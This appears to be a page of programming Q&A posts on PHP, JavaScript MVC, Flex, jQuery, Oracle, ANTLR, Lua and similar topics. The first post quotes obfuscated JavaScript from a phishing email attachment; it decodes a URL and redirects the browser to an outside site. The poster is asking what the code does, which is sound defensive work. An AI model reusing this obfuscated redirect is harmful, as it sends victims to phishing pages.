  • What does this suspicious phishing code do?

    - by halohunter
    A few of my non-IT coworkers opened a .html attachment in an email message that looks extremely suspicious. It resulted in a blank screen when it appears that some javascript code was run. <script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> What did it do?

  • Function returns CSV File: How to go about checking it ?

    - by Rachel
    I am doing something like: $outputFile = getCurrentDBSnapshot($data); where $data is the resource stream that am passing in, basically from command prompt am passing an file and am opening it using fopen for writing with 'w+' permissions, now getCurrentDBSnapshot would get the current state of a table and would update the $data csv file, so basically $outputFile would be updated with the current state of database table, now I want to var_dump or print the value of $outputFile to see the data present into it. But when I do $this->fout = fopen($outputFile,'r') or die('Cannot open file'); $test = fgetcsv($outputFile,5000,":"); var_dump($test); It gives me an error saying that it expects parameter 1 to be a string type and am passing resource. My goal to see the contains of $outputFile and so my question is that How can I see the contains present in $outputFile or how can I see what getcurrentDBSnapshot function is returning me ?

  • Model-View-Controller in JavaScript

    - by Casey Hope
    tl;dr: How does one implement MVC in JavaScript in a clean way? I'm trying to implement MVC in JavaScript. I have googled and reorganized with my code countless times but have not found a suitable solution. (The code just doesn't "feel right".) Here's how I'm going about it right now. It's incredibly complicated and is a pain to work with (but still better than the pile of code I had before). It has ugly workarounds that sort of defeat the purpose of MVC. And behold, the mess, if you're really brave: // Create a "main model" var main = Model0(); function Model0() { // Create an associated view and store its methods in "view" var view = View0(); // Create a submodel and pass it a function // that will "subviewify" the submodel's view var model1 = Model1(function (subview) { view.subviewify(subview); }); // Return model methods that can be used by // the controller (the onchange handlers) return { 'updateModel1': function (newValue) { model1.update(newValue); } }; } function Model1(makeSubView) { var info = ''; // Make an associated view and attach the view // to the parent view using the passed function var view = View1(); makeSubView(view.__view); // Dirty dirty // Return model methods that can be used by // the parent model (and so the controller) return { 'update': function (newValue) { info = newValue; // Notify the view of the new information view.events.value(info); } }; } function View0() { var thing = document.getElementById('theDiv'); var input = document.getElementById('theInput'); // This is the "controller", bear with me input.onchange = function () { // Ugly, uses a global to contact the model main.updateModel1(this.value); }; return { 'events': {}, // Adds a subview to this view. 'subviewify': function (subview) { thing.appendChild(subview); } }; } // This is a subview. function View1() { var element = document.createElement('div'); return { 'events': { // When the value changes this is // called so the view can be updated 'value': function (newValue) { element.innerHTML = newValue; } }, // ..Expose the DOM representation of the subview // so it can be attached to a parent view '__view': element }; } How does one implement MVC in JavaScript in a cleaner way? How can I improve this system? Or is this the completely wrong way to go, should I follow another pattern?

  • Flex Client application - HTTPRequest problem in the initialize function.

    - by Elad
    Hello all. I have a serious problem in my flex client applications. I have an apache server with php web services. the flex client makes an httpservice requests. I noticed that the httpservice requests that runs from the creationComplete event of the application does not always get data from the server. but HTTPservice requests called from user actions always work. I also noticed that when I run the flex client application directly from the Flex Builder 3 without upload it to the server, the problem occours less frequently. in the Application: mx:Application creationComplete="Init()" verticalScrollPolicy="off" horizontalScrollPolicy="off" xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute" backgroundColor="#5d8eb1" private function Init():void { var http_request:HTTPService = new HTTPService(); http_request.url = "http://"+this.server_name+":"+this.server_port+"/services/client/client_result.php"; http_request.resultFormat = "e4x"; http_request.addEventListener("result",resultFunc); http_request.send(); http_request.disconnect(); }

  • jQuery autocomplete function, how to add support for words not available in the database yet?

    - by Lyon
    Hi, I'm looking to implement a tag system like how SO uses on their site, where users can specify multiple tag words. However, on top of all the other autocomplete functions available as jquery plugins, I also want to allow users to enter new words not in the database. Does anyone know of any plugin that can do that? Or if there isn't, how one can add that functionality to an existing autocomplete function? I'm exploring Drew Wilson's autosuggest plugin at the moment, as it supports multiple tags well: http://code.drewwilson.com/entry/autosuggest-jquery-plugin Any help appreciated! Thanks :)

  • Using Pragma in Oracle Package Body

    - by asalamon74
    I'd like to create an Oracle Package and two functions in it: A public function ( function_public ) and a private one ( function_private ). The public function calls the private one. I'd like to add the same pragma to the functions: WNDS, WNPS. Without the pragma I can create a code like this: CREATE OR REPLACE PACKAGE PRAGMA_TEST AS FUNCTION function_public(x IN VARCHAR2) RETURN VARCHAR2; END PRAGMA_TEST; CREATE OR REPLACE PACKAGE BODY PRAGMA_TEST AS FUNCTION function_private(y IN VARCHAR2) RETURN VARCHAR2 IS BEGIN -- code END; FUNCTION function_public(x IN VARCHAR2) RETURN VARCHAR2 IS BEGIN -- code -- here is a call for function_private -- code END; END PRAGMA_TEST; If I'd like to add WNDS, WNPS pragma to function_public I should also add the same pragma to function_private because function_public calls function_private. It seems to me pragma can be used only in the package declaration, and not in package body, so I have to declare function_private in the package as well: CREATE OR REPLACE PACKAGE PRAGMA_TEST AS FUNCTION function_private(y IN VARCHAR2) RETURN VARCHAR2; PRAGMA RESTRICT_REFERENCES( function_private, WNDS, WNPS); FUNCTION function_public(x IN VARCHAR2) RETURN VARCHAR2; PRAGMA RESTRICT_REFERENCES( function_public, WNDS, WNPS); END PRAGMA_TEST; CREATE OR REPLACE PACKAGE BODY PRAGMA_TEST AS FUNCTION function_private(y IN VARCHAR2) RETURN VARCHAR2 IS BEGIN -- code END; FUNCTION function_public(x IN VARCHAR2) RETURN VARCHAR2 IS BEGIN -- code -- here is a call for function_private -- code END; END PRAGMA_TEST; This solution makes my function_private public as well. Is there a solution to add pragma to a function which can be found only in the package body?

  • PHP Line Indentation

    - by Tower
    Hi, I'm curious to know, how many spaces of indentation do you prefer in PHP code? function one() { $one; function space() { $space; } } function two() { $two; function spaces() { $spaces; } } function three() { $three; function spaces() { $spaces; } } function four() { $four; function spaces() { $spaces; } } Let's not make multiple answers for same identation, but use the +1 for answers that fit your preferences.

  • jquery control execution of the callback functions

    - by user253530
    Function socialbookmarksTableData(data) is called by another function to generate the content of a table -- data is a JSON object. Inside the function i call 2 other functions that use getJSON and POST (with json as a return object) to get some data. The problem is: though the functions execute correctly i get undefined value for the 2 variables (bookmarkingSites, bookmarkCategories). Help with a solution please. function socialbookmarksGetBookmarkCategories(bookmarkID) { var toReturn = ''; $.post("php/socialbookmark-get-bookmark-categories.php",{ bookmarkID: bookmarkID },function(data){ $.each(data,function(i,categID){ toReturn += '<option value ="' + data[i].categID + '">' + data[i].categName + '</option>'; }) return toReturn; },"JSON"); } function socialbookmarksGetBookmarkSites() { var bookmarkingSites = ''; $.getJSON("php/socialbookmark-get-bookmarking-sites.php",function(bookmarks){ for(var i = 0; i < bookmarks.length; i++){ //alert( bookmarks[i].id); bookmarkingSites += '<option value = "' + bookmarks[i].id + '">' + bookmarks[i].title + '</option>'; } return bookmarkingSites; }); } function socialbookmarksTableData(data) { var toAppend = ''; var bookmarkingSites = socialbookmarksGetBookmarkSites(); $.each(data.results, function(i, id){ var bookmarkCategories = socialbookmarksGetBookmarkCategories(data.results[i].bookmarkID); //rest of the code is not important }); $("#searchTable tbody").append(toAppend); }

  • Writing language converter in ANTLR

    - by Stefan
    I'm writing a converter between some dialects of the same programming language. I've found a grammar on the net - it's complex and handles all the cases. Now I'm trying to write the appropriate actions. Most of the input is just going to be rewritten to output. What I need to do is parse function calls, do my magic (rename function, reorder arguments, etc) and write it. I'm using AST as output. When I come across a function call, I build a custom object structure (from classes defined in my target language), call the appropriate function and I have a string that represents the transformed function that I want to get. The problem is, what I'm supposed to do with that string? I'd like to replace the .text attribute of the enclosing rule, but setText() is only available on lexer rules and the rule's .text attribute is read-only. How to solve this problem? program : statement_list { output = $statement_list.text; } ; //... statement : expression_statement // ... ; expression_statement : function_call // ... ; function_call : ID '(' { /* build the object, assign name */ Function function = new Function(); //... } ( arg1 = expression { /* add first parameter */ } ( ',' arg2 = expression { /* add the rest of parameters */ } )* )? ')' { /* convert the function call */ string converted = Tools.Convert(function); // $setText(converted); // doesn't work // $functionCall.text = converted; // doesn't work } ;

  • Why does this window object not have the eval function?

    - by Motti
    I ran into an interesting (?) problem in the YUI rich edit demo on IE. When looking at the window object for the content editable frame used as the browser I see that the eval function is undefined (by running the following). javascript:alert(document.getElementById("editor_editor").contentWindow.eval) This only happens on IE (I checked on IE6 and IE8), and it doesn't happen on Firefox or Chrome. All the other window functions and properties seem to be in order, now I realise that eval is not really defined on the window but on the global object but my understanding was that in browsers the window is the global object (also eval does appear on all other windows so why not on this one?). Does anyone know if this is a know bug/limitation in IE and how I can get to eval in the context of the global object of this frame? (I need the side effects to be available to anything running from within this frame).

  • jQuery - Callback failing if there is no options parameter

    - by user249950
    Hi, I'm attempting to build a simple plugin like this (function($) { $.fn.gpSlideOut = function(options, callback) { // default options - these are used when no others are specified $.fn.gpSlideOut.defaults = { fadeToColour: "#ffffb3", fadeToColourSpeed: 500, slideUpSpeed: 400 }; // build main options before element iteration var o = $.extend({}, $.fn.gpSlideOut.defaults, options); this.each(function() { $(this) .animate({backgroundColor: o.fadeToColour},o.fadeToColourSpeed) .slideUp(o.SlideUpSpeed, function(){ if (typeof callback == 'function') { // make sure the callback is a function callback.call(this); // brings the scope to the callback } }); }); return this; }; // invoke the function we just created passing it the jQuery object })(jQuery); The confusion I'm having is that normally on jQuery plugins you can call something like this: $(this_moveable_item).gpSlideOut(function() { // Do stuff }); Without the options parameter, but it misses the callback if I do it like that so I have to always have var options = {} $(this_moveable_item).gpSlideOut(options, function() { // Do stuff }); Even if I only want to use the defaults. Is there anyway to make sure the callback function is called whether or not the options parameter is there? Cheers.

  • Can someone explain this "endian-ness" function for me?

    - by Mike
    Write a program to determine whether a computer is big-endian or little-endian. bool endianness() { int i = 1; char *ptr; ptr = (char*) &i; return (*ptr); } So I have the above function. I don't really get it. ptr = (char*) &i, which I think means a pointer to a character at address of where i is sitting, so if an int is 4 bytes, say ABCD, are we talking about A or D when you call char* on that? and why? Would some one please explain this in more detail? Thanks. So specifically, ptr = (char*) &i; when you cast it to char*, what part of &i do I get?

  • proper way to dynamically assign backbone.js view el

    - by kikuchiyo
    I would like to create two ( or more ) view instances, each with different el attributes, and have events bound to them via backbone.js view's events hash ( not through jQuery ). Getting events to trigger when all instantiations have the same el is easy: someView = Backbone.View.extend({ el: '#someDiv', events: { 'click': 'someFunction' }, someFunction: function(){ //Do something here } }); So far, if I assign el in the initialize function, and set events normally as follows, events do not trigger: someView = Backbone.View.extend({ events: { 'click': 'someFunction' }, initialize: function( options ){ this.el = options.el }, someFunction: function(){ //Do something here } }); My first instinct was to have el be a function that returns the string representation of the dom element of interest: someView = Backbone.View.extend({ el: function(){ return '#someDiv-' + this.someNumber }, events: { 'click': 'someFunction' }, initialize: function( options ){ this.someNumber = options.someNumber }, someFunction: function(){ //Do something here } }); However, this triggers someFunction x times if I have x instantiations of someView. Next I tried setting both the el and events attributes in initialize: someView = Backbone.View.extend({ initialize: function( options ){ this.el = options.el this.events = { 'click': 'someFunction' } }, someFunction: function(){ //Do something here } }); but this does not trigger events. At this point I'm pretty much fishing. Does anyone know how instantiate a backbone.js view with an el specific to that instance that has events that only trigger for that instance, and not other instances of the View?

  • Is it possible to use objects as function paremeters in EL with JBoss EL resolver?

    - by calavera.info
    There is this sentence in JBoss EL resolver online documentation: It's important to fully understand how this extension to EL works. When the page is rendered, the parameter names are stored (for example, hotel.id and user.username), and evaluated (as value expressions) when the page is submitted. You can't pass objects as parameters! But I had used objects as function parameters in my project before I accidentally read this hint and it worked! How is it possible? I'm afraid of that there is some magic now...

  • Why can't I add an event to each element in a collection that refers to Itself rather than the last

    - by user311403
    On Window's load, every DD element inside Quote_App should have an onCLick event appended that triggers the function Lorem, however, Lorem returns the nodeName and Id of the last element in the For statement rather than that of the element that trigged the function. I would want Lorem to return the nodeName and Id of the element that triggered the function. .js function Lorem(Control){ /* this.Control=Control; */ this.Amet=function(){ return Control.nodeName+"\n"+Control.id; }; }; function Event(Mode,Function,Event,Element,Capture_or_Bubble){ if(Mode.toLowerCase()!="remove"){ if(Element.addEventListener){ if(!Capture_or_Bubble){ Capture_or_Bubble=false; }else{ if(Capture_or_Bubble.toLowerCase()!="true"){ Capture_or_Bubble=false; }else{ Capture_or_Bubble=true; }; }; Element.addEventListener(Event,Function,Capture_or_Bubble); }else{ Element.attachEvent("on"+Event,Function); }; }; }; function Controls(){ var Controls=document.getElementById("Quote_App").getElementsByTagName("dd"); for(var i=0;i Currently you click on any DD element Lorem always returns the nodeName and Id of the last DD element. Lorem should return the nodeName and Id of the Control (Control[i]) that triggered Lorem. How do I go about making this happen? Thank you!

  • Embedding Lua functions as member variables in Java

    - by Zarion
    Although the program I'm working on is in Java, answering this from a C perspective is also fine, considering that most of this is either language-agnostic, or happens on the Lua side of things. In the outline I have for the architecture of a game I'm programming, individual types of game objects within a particular class (eg: creatures, items, spells, etc.) are loaded from a data file. Most of their properties are simple data types, but I'd like a few of these members to actually contain simple scripts that define, for example, what an item does when it's used. The scripts will be extremely simple, since all fundamental game actions will be exposed through an API from Java. The Lua is simply responsible for stringing a couple of these basic functions together, and setting arguments. The question is largely about the best way to store a reference to a specific Lua function as a member of a Java class. I understand that if I store the Lua code as a string and call lua_dostring, Lua will compile the code fresh every time it's called. So the function needs to be defined somehow, and a reference to this specific function wrapped in a Java function object. One possibility that I've considered is, during the data loading process, when the loader encounters a script definition in a data file, it extracts this string, decorates the function name using the associated object's unique ID, calls lua_dostring on the string containing a full function definition, and then wraps the generated function name in a Java function object. A function declared in script run with lua_dostring should still be added to the global function table, correct? I'm just wondering if there's a better way of going about this. I admit that my knowledge of Lua at this point is rather superficial and theoretical, so it's possible that I'm overlooking something obvious.

  • How do I write a constant-space length function in Haskell?

    - by Bill
    The canonical implementation of length :: [a] -> Int is: length [] = 0 length (x:xs) = 1 + length xs which is very beautiful but suffers from stack overflow as it uses linear space. The tail-recursive version: length xs = length' xs 0 where length' [] n = n length' (x:xs) n = length xs (n + 1) doesn't suffer from this problem, but I don't understand how this can run in constant space in a lazy language. Isn't the runtime accumulating numerous (n + 1) thunks as it moves through the list? Shouldn't this function Haskell to consume O(n) space and lead to stack overflow? (if it matters, I'm using GHC)

    Heading ##Hey guys i need help with this code.The short version is,i have to do match the follwing by using drag and drop in jquery and later i need to show a message whether it is right or wrong. var output = "Wrong"; var old_item ; var new_item ; var newObjArray=[]; $(function() { var $gallery = $('.gallery'), $trash = $('.trash'); $('div',$gallery).draggable({ revert: 'invalid', containment: 'document', helper: 'clone', cursor: 'move', }); // let the trash be droppable, accepting the gallery items $trash.droppable({ //accept: '#gallery div', //activeClass: 'ui-state-highlight', tolerance: 'touch', drop: function(ev, ui) { new_item = ui.draggable; $(this).droppable("option","activeClass",'.ui-state-highlight'); if(contains(newObjArray,ui.draggable)) { newObjArray.pop(ui.draggable); } newObjArray.push(ui.draggable); deleteImage(ui.draggable,$(this)); } }); // let the gallery be droppable as well, accepting items from the trash $gallery.droppable({ //accept: '#trash li', activeClass: 'custom-state-active', drop: function(ev, ui) { recycleImage(ui.draggable); } }); // image deletion function function deleteImage($item,element) { var $list; $item.fadeOut(10,function() { if($(".ui-widget-content", element).length <1){ old_item = $item; $list = $('<div class="gallery ui-helper-reset"/>').appendTo(element); //$('ul',$trash).length ? $('ul',$trash) : $('<ul class="gallery ui-helper-reset"/>').appendTo($trash); $item.appendTo($list).fadeIn(10); } else{ recycleImage($(".ui-widget-content",element)); $list = $('<div class="gallery ui-helper-reset"/>').appendTo(element); $item.appendTo($list).fadeIn(10); old_item = $item; } }); } //check for given answer // image recycle function function recycleImage($item) { $item.fadeOut(10,function() { $item.find("img").end().appendTo($gallery).fadeIn(10); }); } // image preview function, demonstrating the ui.dialog used as a modal window }); function checkOrder(){ if(newObjArray==null){ } else if(newObjArray!=null){ if(newObjArray[0].attr("id")=="5"&& newObjArray[1].attr("id")=="1" && newObjArray[2].attr("id")=="3" && newObjArray[3].attr("id")=="2" && newObjArray[4].attr("id")=="4"){ parent.parent.increaseCorrectA(); } else{ parent.parent.increaseWrongA(); } } } function contains(a, obj) { var i = a.length; while (i--) { if (a[i] === obj) { return true; } } return false; } I am calling the function checkOrder() from the html page after the matching of items is over.What happens here is i have just stored the user responses on the draggable over droppable in an array,based on it's position.It is a bad practice cause,i am saying whether it's right or wrong through its position in the array.The only thing i can do is get the draggable's id present in the droppable.But i dont know how to get that inside the function checkOrder().Any ideas please?

  • Error in glmmadmb(.....) The function maximizer failed (couldn't find STD file)

    - by Joe King
    This works fine: fit.mc1 <-MCMCglmm(bull~1,random=~school,data=dt1,family="categorical", prior=list(R=list(V=1, fix=1), G=list(G1=list(V=1, nu=0))), slice=T) So does this: fit.glmer <- glmer(bull~(1|school),data=dt1,family=binomial) But now I am trying to work with the package glmmadmb and this does not work: fit.mc12 <- glmmadmb(bull~1+(1|school), data=dt1, family="binomial", mcmc=TRUE, mcmc.opts=mcmcControl(mcmc=50000)) It generates the error: Error in glmmadmb(bull~ 1 + (1 | school), data = dt1, family = "binomial", : The function maximizer failed (couldn't find STD file) In addition: Warning message: running command '<snip>\cmd.exe <snip>\glmmadmb.exe" -maxfn 500 -maxph 5 -noinit -shess -mcmc 5000 -mcsave 5 -mcmult 1' had status 1

  • Can Response.Redirect work in a private void MVC 2 Function?

    - by user54197
    I have a private void function set for some validation. Should my validation fail, I would like to redirect to another ActionResult and kill the process for the ActionResult that was being used. Response.Redirect("controllerName") does not help. Any ideas? [Accept(HttpVerbs.Post)] public ActionResult NerdDinner(string Name) { testName(Name); ... Return RedirectToAction("ActionResultAAA"); } private void testName(string name) { if(name == null) { //Response.Redirect("ActionResultBBB"); } }

  • Is it possible to call a user-space callback function from kernel space in Linux (ioctl)?

    - by Makis
    Is it possible to expand the ioctl interface in Linux so that the user-space application can send a pointer to a function to the kernel space driver? I'm in particular thinking of ways to handle the stream in user-controllable way but doing it in the kernel. Those operations could be attached to the kernel module but this would make development a lot easier as I wouldn't need to mess with the kernel during development. More specifically, this would be the process: Data is read by the driver to a buffer. Data is handled by these user-defined functions in place. Some more handling is done, possibly with some HW blocks. Data is used by a user-space application.
